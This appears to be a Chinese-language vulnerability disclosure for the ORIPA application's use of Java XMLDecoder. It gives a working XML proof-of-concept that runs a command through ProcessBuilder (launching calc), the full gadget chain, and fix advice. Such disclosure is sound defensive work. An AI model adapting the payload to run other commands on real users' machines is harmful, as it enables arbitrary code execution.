一、复现步骤
1. 将JDK版本设置为JDK 21,启动oripa的exe文件或jar包
2. 通过oripa界面的File->open路径上传一个XML文件
XML内容如下
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
3. 弹出计算器,复现成功
二、原理分析
1. Gadget Chain如下所示
java.beans.XMLDecoder#readObject
java.beans.XMLDecoder#parsingComplete
java.security.AccessController#doPrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext)
java.security.AccessController#executePrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext, java.lang.Class<?>)
java.security.PrivilegedAction#run
com.sun.beans.decoder.DocumentHandler#parse
java.security.ProtectionDomain.JavaSecurityAccessImpl#doIntersectionPrivilege(java.security.PrivilegedAction<T>, java.security.AccessControlContext, java.security.AccessControlContext)
java.security.AccessController#doPrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext)
java.security.AccessController#executePrivileged(java.security.PrivilegedAction<T>, java.security.AccessControlContext, java.lang.Class<?>)
java.security.PrivilegedAction#run
com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse(org.xml.sax.InputSource, org.xml.sax.helpers.DefaultHandler)
com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl.JAXPSAXParser#parse(org.xml.sax.InputSource)
com.sun.org.apache.xerces.internal.parsers.XMLParser#parse
com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(com.sun.org.apache.xerces.internal.xni.parser.XMLInputSource)
com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(boolean)
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.FragmentContentDriver#next
com.sun.org.apache.xerces.internal.parsers.AbstractXMLDocumentParser#emptyElement
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement
com.sun.beans.decoder.DocumentHandler#endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.ValueObjectImpl#create
java.beans.Expression#getValue
java.beans.Statement#invoke
java.beans.Statement#invokeInternal
sun.reflect.misc.MethodUtil#invoke
java.lang.reflect.Method#invoke(java.lang.Object, java.lang.Object...)
...省略较多invoke方法,最后通过反射调用ProcessBuilder的start方法弹出计算器
java.lang.ProcessBuilder#start(java.lang.ProcessBuilder.Redirect[])
2. source方法和sink方法
XMLDecoder的readObject即为source方法,它是反序列化入口点。
个人认为,java.lang.reflect.Method的invoke可以作为sink方法,该方法通过反射调用一个类的某个方法,在此处传入的即为ProcessBuilder类的start方法
3. 个人见解
该漏洞的成因与WebLogic漏洞类似,即不建议直接使用jdk原生的XMLDecoder来处理XML文档,应当加上对XML文件内容的验证,修复建议可以参考WebLogic。
传入XML的效果其实等价于new java.lang.ProcessBuilder(new String[]{"calc"}).start();
4. 建议阅读链接
https://www.cnblogs.com/LittleHann/p/17814641.html
https://zhuanlan.zhihu.com/p/350309128
https://zhuanlan.zhihu.com/p/623500182